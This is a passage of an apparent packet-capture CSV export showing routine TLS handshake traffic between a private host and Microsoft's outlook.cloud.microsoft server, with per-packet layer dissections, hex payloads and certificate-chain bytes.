\"\"52.97.250.242\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64004, \"\"dport\"\": 443, \"\"seq\"\": 4018533605, \"\"ack\"\": 4211336212, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 51550, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 203, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientHello  msgtype=client_hello msglen=199 version=TLS 1.2 gmt_unix_time=Sun, 28 Jun 2026 21:01:49  (1782680509) random_bytes=89f0ea0db7153ceb723d962690027b8498cd044e03d33233ebedd655 sidlen=0 sid=b'' cipherslen=38 ciphers=[TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_GCM_SHA384, TLS_RSA_WITH_AES_128_GCM_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA256, TLS_RSA_WITH_AES_128_CBC_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA] complen=1 comp=null extlen=120 ext=[<TLS_Ext_ServerName  type=server_name len=28 servernameslen=26 servernames=[b'outlook.cloud.microsoft'] |>, <TLS_Ext_CSR  type=status_request len=5 stype=ocsp req=[<OCSPStatusRequest  respidlen=0 reqextlen=0 reqext=<X509_Extensions  |> |>] |>, <TLS_Ext_SupportedGroups  type=supported_groups len=8 groupslen=6 groups=[x25519, secp256r1, secp384r1] |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>, <TLS_Ext_SignatureAlgorithms  type=signature_algorithms len=26 sig_algs_len=24 sig_algs=[sha256+rsaepss, sha384+rsaepss, sha512+rsaepss, sha256+rsa, sha384+rsa, sha1+rsa, sha256+ecdsa, sha384+ecdsa, sha1+ecdsa, sha1+dsa, sha512+rsa, sha512+ecdsa] |>, <TLS_Ext_SessionTicket  type=session_ticket len=0 ticket=b'' |>, <TLS_Ext_ALPN  type=alpn len=14 protocolslen=12 protocols=[b'h2', b'http/1.1'] |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:51.002532,94,TCP 52.97.250.242:443 -> 10.152.152.11:64004,52.97.250.242,10.152.152.11,443,64004,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4211336212 Ack=4018533813,bc2411360d0cbc24112907bb080045000028f7b14000400671273461faf20a98980b01bbfa04fb03e414ef85f5b55010003fd2110000,\".$.6\n..$.)....E..(..@.@.q'4a..\n...............P..?....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 63409, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 28967, \"\"src\"\": \"\"52.97.250.242\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64004, \"\"seq\"\": 4211336212, \"\"ack\"\": 4018533813, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 53777, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:51.353068,95,TCP 52.97.250.242:443 -> 10.152.152.11:64004,52.97.250.242,10.152.152.11,443,64004,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Padding,4,TCP PA Seq=4211336212 Ack=4018533813,bc2411360d0cbc24112907bb0800450005e0f7b2400040066b6e3461faf20a98980b01bbfa04fb03e414ef85f5b55018003fd7c900001603031fcc0200006603036a41294f2fbf9ca2ab97586af50252f377fd0941f81faed0444f574e4752440120473800007f4df34b33641a7775c68174068b51934589c5643bc926acf8fce781c03000001e000500000023000000100005000302683200170000ff01000100000000000b0016a80016a50009533082094f30820737a003020102021343000ab40354ebc89cc9d01f0f0000000ab403300d06092a864886f70d01010c05003057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f435350203034301e170d3236303330383030313730335a170d3237303330333030313730335a306e310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3120301e060355040313176f75746c6f6f6b2e636c6f75642e6d6963726f736f667430820122300d06092a864886f70d01010105000382010f003082010a0282010100e821db6b59618abe5569b6a1b4ca8b1386f9321454fb9b4090c7fc068f81121ff533fa390cec9038d2dacb70a372090e27cb318ec69c9ec39fdb9d3f853e8512abecd8f276d5de863889019c9c1480fe31153696aa2432d0056149aae544b5d558f1fb4570215fa7212922940a46bfd663c48c1fe5d74dddc85fcf30f419357fdfa8dfe9e55b34edf4fc3ecfc09333a53fbbc77eb676f55b0b7781d4f23149344a9db479cc221de86b86630452363022383e0b602fda16e4ba9bd96c31b63f354a02cb8ade61f5037bec9d7b456f4ee3fe785791eb6bd126e5d2ca26420398faa01ec0e8d8d88424f8d15e05238d26edb1796c9f42eaf598c82e46d650a973590203010001a38204fb308204f73082017e060a2b06010401d6790204020482016e0482016a0168007700d6d58da9d01753f36a4aa0c7574902afebc7dc2cd38cd9f764c80c89191e9f020000019ccad73c1e0000040300483046022100e55d982e5af07f61a26bc59c87aa509d9f5d59293e7da533c29e793f4686986b02210083499f8ed352d2c6ab8788b918cf2f82407da0077347df82a3c2a666524709a40075001c9f682ce9faf0456950f81b968a87dddb3210d84ce6c8b2e382524ac4cf599f0000019ccad73d62000004030046304402202698638e91ee1dbea8586c5217a7ead63776394850e131fc3472ae16c3b07b02022013e71c1e18cadeaaf40fb6bcd78420aaf1e0004625aad5525088368c72ab4e7100760044c2bd0ce9140e64a5c94a01930a5aa1bb35970e00ee111689682a1c44d7b5660000019ccad73c9a000004030047304502203257bad935c1df986ebc85032551802d79f64f6a6fa9f0ec5d92673d60ee97ee022100970e8cebe1ec70c0e05931985d04b777ac758aa856ca79d8bb8d992ba25fc9d1301b06092b060104018237150a040e300c300a06082b06010505070301303c06092b0601040182371507042f302d06252b060104018237150887bdd71b81e7eb4682819d2e8ed00c87f0da1d5d81b5dd50859ffd750201640201213082010b06082b060105050701010481fe3081fb306106082b060105050730028655687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030342e637274306706082b06010505073002865b687474703a2f2f6361697373756572732e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030342e637274302d06082b060105050730018621687474703a2f2f6f6e656f6373702e6d6963726f736f66742e636f6d2f6f637370301d0603551d0e04160414,\".$.6\n..$.)....E.....@.@.kn4a..\n...............P..?............f..jA)O/.....Xj..R.w.\tA....DOWNGRD. G8...M.K3d.wu..t..Q.E..d;.&......0........#.........h2.....................\tS0.\tO0..7.......C.\n..T..........\n..0\n.\t*.H..\n.....0W1.0\t..U....US1.0...U.\n..Microsoft Corporation1(0&..U....Microsoft TLS G2 RSA CA OCSP 040..\n260308001703Z.\n270303001703Z0n1.0\t..U....US1.0\t..U....WA1.0...U....Redmond1.0...U.\n..Microsoft Corporation1 0...U....outlook.cloud.microsoft0..\"\"0\n.\t*.H..\n..........0..\n......!.kYa..Ui........2.T..@.........3.9...8...p.r\t.'.1........?.>......v...8.......1.6..$2..aI..D..X..Ep!_.!)\"\".\nF..c.....M.._.0..5......[4...>...3.?..~.v.[.w...1I4J..y.\"\"..k.c.R60\"\"8>.`/......l1.?5J....a..{..{EoN..xW..k.&...&B..........$..^.#.&..yl.B.....F.P.sY.........0...0..~.\n+.....y......n...j.h.w.......S.jJ..WI.....,....d.............<......H0F.!..]..Z..a.k....P..]Y)>}.3..y?F..k.!..I...R......../.@}..sG.....fRG\t..u...h,...EiP.......2..L.....RJ..Y.......=b.....F0D. &.c......XlR....7v9HP.1.4r....{.. .............. ....F%..RP.6.r.Nq.v.D......d..J..\nZ..5.......h*.D..f......<......G0E. 2W..5...n...%Q.-y.Ojo...].g=`....!.......p..Y1.]..w.u..V.y....+._..0..\t+.....7.\n..0.0\n..+.......0<.\t+.....7.../0-.%+.....7.........F...........]...P...u..d..!0.....+..........0..0a..+.....0..Uhttp://www.microsoft.com/pkiops/certs/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004.crt0g..+.....0..[http://caissuers.microsoft.com/pkiops/certs/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004.crt0-..+.....0..!http://oneocsp.microsoft.com/ocsp0...U......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1504, \"\"id\"\": 63410, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 27502, \"\"src\"\": \"\"52.97.250.242\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64004, \"\"seq\"\": 4211336212, \"\"ack\"\": 4018533813, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 55241, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Padding\"\", \"\"fields\"\": {\"\"load\"\": \"\"1603031fcc0200006603036a41294f2fbf9ca2ab97586af50252f377fd0941f81faed0444f574e4752440120473800007f4df34b33641a7775c68174068b51934589c5643bc926acf8fce781c03000001e000500000023000000100005000302683200170000ff01000100000000000b0016a80016a50009533082094f30820737a003020102021343000ab40354ebc89cc9d01f0f0000000ab403300d06092a864886f70d01010c05003057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f435350203034301e170d3236303330383030313730335a170d3237303330333030313730335a306e310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3120301e060355040313176f75746c6f6f6b2e636c6f75642e6d6963726f736f667430820122300d06092a864886f70d01010105000382010f003082010a0282010100e821db6b59618abe5569b6a1b4ca8b1386f9321454fb9b4090c7fc068f81121ff533fa390cec9038d2dacb70a372090e27cb318ec69c9ec39fdb9d3f853e8512abecd8f276d5de863889019c9c1480fe31153696aa2432d0056149aae544b5d558f1fb4570215fa7212922940a46bfd663c48c1fe5d74dddc85fcf30f419357fdfa8dfe9e55b34edf4fc3ecfc09333a53fbbc77eb676f55b0b7781d4f23149344a9db479cc221de86b86630452363022383e0b602fda16e4ba9bd96c31b63f354a02cb8ade61f5037bec9d7b456f4ee3fe785791eb6bd126e5d2ca26420398faa01ec0e8d8d88424f8d15e05238d26edb1796c9f42eaf598c82e46d650a973590203010001a38204fb308204f73082017e060a2b06010401d6790204020482016e0482016a0168007700d6d58da9d01753f36a4aa0c7574902afebc7dc2cd38cd9f764c80c89191e9f020000019ccad73c1e0000040300483046022100e55d982e5af07f61a26bc59c87aa509d9f5d59293e7da533c29e793f4686986b02210083499f8ed352d2c6ab8788b918cf2f82407da0077347df82a3c2a666524709a40075001c9f682ce9faf0456950f81b968a87dddb3210d84ce6c8b2e382524ac4cf599f0000019ccad73d62000004030046304402202698638e91ee1dbea8586c5217a7ead63776394850e131fc3472ae16c3b07b02022013e71c1e18cadeaaf40fb6bcd78420aaf1e0004625aad5525088368c72ab4e7100760044c2bd0ce9140e64a5c94a01930a5aa1bb35970e00ee111689682a1c44d7b5660000019ccad73c9a000004030047304502203257bad935c1df986ebc85032551802d79f64f6a6fa9f0ec5d92673d60ee97ee022100970e8cebe1ec70c0e05931985d04b777ac758aa856ca79d8bb8d992ba25fc9d1301b06092b060104018237150a040e300c300a06082b06010505070301303c06092b0601040182371507042f302d06252b060104018237150887bdd71b81e7eb4682819d2e8ed00c87f0da1d5d81b5dd50859ffd750201640201213082010b06082b060105050701010481fe3081fb306106082b060105050730028655687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030342e637274306706082b06010505073002865b687474703a2f2f6361697373756572732e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030342e637274302d06082b060105050730018621687474703a2f2f6f6e656f6373702e6d6963726f736f66742e636f6d2f6f637370301d0603551d0e04160414\"\"}}]\"\n2026-06-28 14:01:51.353170,96,TCP 10.152.152.11:64004 -> 52.97.250.242:443,10.152.152.11,52.97.250.242,64004,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,A,,,Ether > IP > TCP,3,TCP A Seq=4018533813 Ack=4211337676,bc24112907bbbc2411360d0c08004500002828f840008006ffe00a98980b3461faf2fa0401bbef85f5b5fb03e9cc5010040014110000,\".$.)...$.6\n...E..((.@.....\n...4a..............P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10488, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 65504, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.250.242\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64004, \"\"dport\"\": 443, \"\"seq\"\": 4018533813, \"\"ack\"\": 4211337676, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 5137, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:51.356534,97,TCP 52.97.250.242:443 -> 10.152.152.11:64004,52.97.250.242,10.152.152.11,443,64004,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=4211337676 Ack=4018533813,bc2411360d0cbc24112907bb080045000210f7b4400040066f3c3461faf20a98980b01bbfa04fb03e9ccef85f5b55018003fd3f90000461f5602bafadb223a440b77af608f81362549c6300e0603551d0f0101ff0404030205a0303a0603551d11043330318216706c616365732e636c6f75642e6d6963726f736f667482176f75746c6f6f6b2e636c6f75642e6d6963726f736f6674300c0603551d130101ff040230003081f10603551d1f0481e93081e63081e3a081e0a081dd866c687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f706172746974696f6e2f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030345f506172746974696f6e30303039382e63726c866d687474703a2f2f63726c322e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f706172746974696f6e2f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030345f506172746974696f6e30303039382e63726c30660603551d20045f305d3051060c2b0601040182374c837d01013041303f06082b060105050702011633687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f446f63732f5265706f7369746f72792e68746d3008060667810c010202301f0603551d23041830168014540cbcec18f77df103e284be34644467cf,\"F.V....\"\":D.w.`..6%I.0...U...........0:..U...301..places.cloud.microsoft..outlook.cloud.microsoft0...U.......0.0....U.....0..0.........lhttp://www.microsoft.com/pkiops/crl/partition/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004_Partition00098.crl.mhttp://crl2.microsoft.com/pkiops/crl/partition/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004_Partition00098.crl0f..U. ._0]0Q..+.....7L.}..0A0?..+........3http://www.microsoft.com/pkiops/Docs/Repository.htm0...g.....0...U.#..0...T.....}.....4dDg.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 528, \"\"id\"\": 63412, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 28476, \"\"src\"\": \"\"52.97.250.242\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64004, \"\"seq\"\": 4211337676, \"\"ack\"\": 4018533813, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 54265, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"461f5602bafadb223a440b77af608f81362549c6300e0603551d0f0101ff0404030205a0303a0603551d11043330318216706c616365732e636c6f75642e6d6963726f736f667482176f75746c6f6f6b2e636c6f75642e6d6963726f736f6674300c0603551d130101ff040230003081f10603551d1f0481e93081e63081e3a081e0a081dd866c687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f706172746974696f6e2f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030345f506172746974696f6e30303039382e63726c866d687474703a2f2f63726c322e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f706172746974696f6e2f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030345f506172746974696f6e30303039382e63726c30660603551d20045f305d3051060c2b0601040182374c837d01013041303f06082b060105050702011633687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f446f63732f5265706f7369746f72792e68746d3008060667810c010202301f0603551d23041830168014540cbcec18f77df103e284be34644467cf\"\"}}]\"\n2026-06-28 14:01:51.356630,98,TCP 10.152.152.11:64004 -> 52.97.250.242:443,10.152.152.11,52.97.250.242,64004,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,A,,,Ether > IP > TCP,3,TCP A Seq=4018533813 Ack=4211338164,bc24112907bbbc2411360d0c08004500002828f940008006ffdf0a98980b3461faf2fa0401bbef85f5b5fb03ebb4501003fe122b0000,\".$.)...$.6\n...E..((.@.....\n...4a..............P....+..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10489, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 65503, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.250.242\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64004, \"\"dport\"\": 443, \"\"seq\"\": 4018533813, \"\"ack\"\": 4211338164, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1022, \"\"chksum\"\": 4651, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:51.357064,99,TCP 52.97.250.242:443 -> 10.152.152.11:64004,52.97.250.242,10.152.152.11,443,64004,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=4211338164 Ack=4018533813,bc2411360d0cbc24112907bb080045000d80f7b54000400663cb3461faf20a98980b01bbfa04fb03ebb4ef85f5b55018003fdf690000751f6530130603551d25040c300a06082b06010505070301300d06092a864886f70d01010c050003820201000b8233eaf48ac62dee66f91d7f48a957ca5b6d412250a456069217015644c86f70fb9f9ae036fac7747ac7012dba95edd6c66d5564fdd12f47eb3b458e96fad8538d06fce693def53d816cac1d3601dee05742355c51f4078d627f7b377d13679d43b8a4f4c437cccff470805732a3a1f64c291bf858b08977acb0be12a2978e14f920f7bdb00487c59ce8376acf1684faf32d4bd4d7b87ff369379f8651e5f44c238d5f001331fb01a3fd9d86fb29039037515862cabebd5b9aad5754d4637add547fb24136574594174dad714004b5e8a0211dcb39dc88de983d41ef2058ae557c918428e61c524669074034384927b909699c8a2fa6890ef813225a70a1e4cd50ad115decd7782e485fa2be0e7ef8e456c042bc0185da5fb76c0fd06bebb0d3b2a6e8c0a53498805a1633b351c7b1777b2fa9450972070f3e33392cc9f207a4a0a33c3258237ea4f5cdd07f4a21a82ac2e54372a0ef35d31eaeaae48e1e5f444afdc25dd40e2128bbee38d18a1db959cf53566019cb94dffbed27b156a0b72aa69d989c16362c955cba3c6568d58e41109697a28466395ba017b6a86d52aa456306fec524297cc9bc32838020522317072e66842207935d6ff9a74b27758d023a4d06844565547af323be12c096f1565665f1ba2da5416f336630318a57252082adf98074de885305f9a58256ed1a95f76efcd3ab7797fee7102ac556ea700007bc308207b8308205a0a0030201020213330000000b13e5667d4a9b558000000000000b300d06092a864886f70d01010c05003051310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31223020060355040313194d6963726f736f667420544c532052534120526f6f74204732301e170d3235303830313230303235395a170d3239303630333230303235395a3057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f43535020303430820222300d06092a864886f70d01010105000382020f003082020a02820201009c3a24085a1892f29ed560cde2e6fb8047db44ae2bdd6d107021154529aad2c7dce6c442b1a08d52e04f5c395506364d17c1586634e285529fe2a4fec6dec2c23b86bfcaad872906eb1d491d5f81dbb7a4ac561ad61287fd5f4049e2a00c6a84c64e6fdf24b89a95745a597fade93c13157840ccecdaef88364a90deea630794c3836a1aae98e6f164805a296704e856f421a6c5468dc8dd02abbc06f06c477823bb38b0bbfb4d71b0df22c37f1a7ef99daa412ad1de68dd9574253866c91611c5593d2ab168b9933b66e83ce1fca7ff2c6b50e0c0b9c8717393b177bfedaa4d0e0a55db139c72e069ad814cda23f906cb3fed428a868c0dd20c1525d08668eb7856aa2e5c08b34d33804eee353c2fc37a7dc16672606890f4ebf608ec13d789925f5c52f4879578b136e1b342536e3a373707c873751ebb5d6e67c99a7ccb4af3c6cdf04ef586fb143519463d97867264dd4336efd4578200220ca33aedb3657065f982a5bab8d2eac0688a3537a040f5fe028966a830f89447625747b27b9b8cc795bceb9af6c68c4489db16e61efde789fc81353530ea2f7d896452b3461934e33b574f0a182031efc5fdb9b127f6975935fb0ac244d6d0b2ed554d1d57487512d7f29860169ec4069cd4ae7e2e65c753e422251830636a9057c594b4f7e54d4c0d54c71fa93d4d0a460962d0232251e38e374cc5f40140990582d3a2b0530203010001a38202813082027d300e0603551d0f0101ff040403020186301006092b06010401823715010403020100301d0603551d0e04160414540cbcec18f77df103e284be34644467cf751f6530130603551d20040c300a3008060667810c01020230130603551d25040c300a06082b06010505070301301906092b0601040182371402040c1e0a0053007500620043004130120603551d130101ff040830060101ff020100301f0603551d23041830168014de918648b7a1315931f14b5f07a9dc8879daa8763081ab0603551d1f0481a33081a030819da0819aa081978649687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322e63726c864a687474703a2f2f63726c322e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322e63726c3082011006082b06010505070101048201023081ff306306082b060105050730028657687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322532302d253230787369676e2e637274306906082b06010505073002865d687474703a2f2f6361697373756572732e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322532302d253230787369676e2e637274302d06082b060105050730018621687474703a2f2f6f6e656f6373702e6d6963726f736f66742e636f6d2f6f637370300d06092a864886f70d01010c050003820201007c4871c2b6c045ab740fc63f49e2fc0fd675fdcd50d1e04bb3b3d1a8995ffe5d350d6c0bddd0ad6160188938e2f0b735d2b5213a0c0e5899387cd4d7dd024dd4dcf5ee90e37b6793a8acd41b50bbc54fe6d3f1b51ef0ff99bc2333b0c8a8a627d6d15bed6f14de4b071a0c50fd0edfbeeb4fb29810cb222ae61dd74ba7ae15d10136090b86434f4ee7c57e5ca36b832e493e9488998b52d3963f7198242f3782fa6c74f2bcdb0621bbb85067702415b60b228ff7b927e4037c8495b76604a99255c2bd11c7210a727f65c060a65049e9f62348203a8e9226a8178c98af14a73dce4cadc08e8c3c44f17ffb13f914d77b333d105e64e7273d0c4ce271d766ceaef74eb664ba542bb7fd03d798679837b20a6320e5b0fbd8a48d3a2e42229a22f42655833015c7a242b3bfd036c53652a773677a736e54acbce989d8a5eb1f6dac2750c4c8ebd41c54294dbbb6deabd7c7f11f1464ba7f473165ef797d14c4f019e48076e73b28009b446f2457f507dc8e5ab400589756b10bfa087571de1b53c8eebdf0ab224cbd6bba5d8a44593c246baabce97d8b5f4a4dd78c54b0ab769b80284d457465106021f98e795fda92fb178400dbc4ae8259813c27779e56f707c8bdbe3d91c5978ae69c0f591658486c7da41632ed16c92da796f5e4fdc5cf65a4ddd700e8c90ef49db2a40280cc1bf028ebb03177349ec3ccd7c89b36bbc525e200058d3082058930820471a00302010202100b0c6b2c466917b04773c647d4afc0c8300d06092a864886f70d01010c05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3235303532313030303030305a170d3239303631393233353935395a3051310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31223020060355040313194d6963726f736f667420544c532052534120526f6f7420473230820222300d06092a864886f70d01010105000382020f003082020a0282020100dfea8b9f47e1281071af41d619db9257de6babe62edead3a6083b71398ac5bb9320b7beb9f72276b5d40abbe180693b20dd212edb874f57f2feaa81794f63316578ade207c21ddb7daacde4e64b05acd4b75f3ef02644ded52daa38f04e891f8d7fb3f19fd4e45395ee829c3d6f267afb30094c18de1f04a189839fac009843341050305abf475e153a521925c444ce66057a4900297c7d5d89304324aed8551edd6c5baa03f368a2f6f4c39a8046922843b7514f7d93eb4a9d0074138817e46481de819e670b8a0aa18dd72bf7e7db56c4e19701184041381d462fd9c6bf11cddffeca7e0e6c78d314bbff26b33ccd18cb6feb11ba34aa85f0e7f3176383f07476c01a8aca514d